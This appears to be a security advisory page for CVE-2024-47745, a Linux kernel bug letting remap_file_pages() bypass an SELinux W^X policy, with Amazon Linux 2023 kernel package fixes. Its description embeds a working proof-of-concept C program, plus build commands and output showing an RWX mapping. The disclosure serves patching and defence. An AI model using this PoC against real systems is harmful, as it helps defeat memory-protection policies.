Amazon Linux 2023: CVE-2024-47745: Important priority package update for kernel

Amazon Linux 2023: CVE-2024-47745: Important priority package update for kernel

Severity

4

CVSS

(AV:L/AC:H/Au:S/C:C/I:N/A:N)

Published

10/21/2024

Created

02/05/2025

Added

02/14/2025

Modified

02/14/2025

Description

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

Solution(s)

• amazon-linux-2023-upgrade-bpftool
• amazon-linux-2023-upgrade-bpftool-debuginfo
• amazon-linux-2023-upgrade-kernel
• amazon-linux-2023-upgrade-kernel-debuginfo
• amazon-linux-2023-upgrade-kernel-debuginfo-common-aarch64
• amazon-linux-2023-upgrade-kernel-debuginfo-common-x86-64
• amazon-linux-2023-upgrade-kernel-devel
• amazon-linux-2023-upgrade-kernel-headers
• amazon-linux-2023-upgrade-kernel-libbpf
• amazon-linux-2023-upgrade-kernel-libbpf-devel
• amazon-linux-2023-upgrade-kernel-libbpf-static
• amazon-linux-2023-upgrade-kernel-livepatch-6-1-124-134-200
• amazon-linux-2023-upgrade-kernel-modules-extra
• amazon-linux-2023-upgrade-kernel-modules-extra-common
• amazon-linux-2023-upgrade-kernel-tools
• amazon-linux-2023-upgrade-kernel-tools-debuginfo
• amazon-linux-2023-upgrade-kernel-tools-devel
• amazon-linux-2023-upgrade-perf
• amazon-linux-2023-upgrade-perf-debuginfo
• amazon-linux-2023-upgrade-python3-perf
• amazon-linux-2023-upgrade-python3-perf-debuginfo

References

• https://attackerkb.com/topics/cve-2024-47745
• CVE - 2024-47745
• https://alas.aws.amazon.com/AL2023/ALAS-2025-809.html